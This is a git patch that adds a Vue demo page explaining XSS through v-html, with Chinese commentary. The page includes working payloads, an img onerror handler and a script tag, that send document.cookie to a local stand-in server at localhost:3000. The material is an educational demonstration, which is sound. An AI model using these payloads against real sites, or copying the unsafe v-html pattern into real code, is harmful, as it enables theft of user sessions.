From 3328004f730592ff36c9dc5a078ee5b5b262173f Mon Sep 17 00:00:00 2001
From: LCJ-MinYa <1049468118@qq.com>
Date: Fri, 14 Mar 2025 17:42:38 +0800
Subject: [PATCH] =?UTF-8?q?feat:=20xss=E8=8E=B7=E5=8F=96=E7=94=A8=E6=88=B7?=
 =?UTF-8?q?=E6=95=B0=E6=8D=AE=E5=90=8E=E6=AE=B5=E6=B5=8B=E8=AF=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 src/views/demo/xss.vue | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)
 create mode 100644 src/views/demo/xss.vue

diff --git a/src/views/demo/xss.vue b/src/views/demo/xss.vue
new file mode 100644
index 0000000..6ff3bac
--- /dev/null
+++ b/src/views/demo/xss.vue
@@ -0,0 +1,30 @@
+<template>
+    <base-container>
+        <h2>v-html xss注入:</h2>
+        <pre>
+一旦v-html中的数据是来自已存储恶意代码的服务器或者其他不可信的服务器数据来源时，
+在渲染v-html的时候可以执行js代码通过请求携带用户的cookie或其他信息发送请求到攻击者准备好的服务器接口，
+这样用户的信息就泄漏了
+        </pre>
+        <h3>示例v-html:</h3>
+        <div v-html="message"></div>
+    </base-container>
+</template>
+
+<script>
+import { ref } from 'vue';
+export default {
+    setup() {
+        const cookie = encodeURIComponent(document.cookie);
+        const message = ref(
+            `<p>我是一段携带恶意代码的测试html标签</p><img src="../xxx.jpg" onerror="console.log('img注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=xxxx')">`
+        );
+        // 这种方式的注入不会执行js代码，只是将数据显示在页面上
+        message.value += `<script>console.log('script注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=yyyy')<\/script>`;
+
+        return {
+            message,
+        };
+    },
+};
+</script>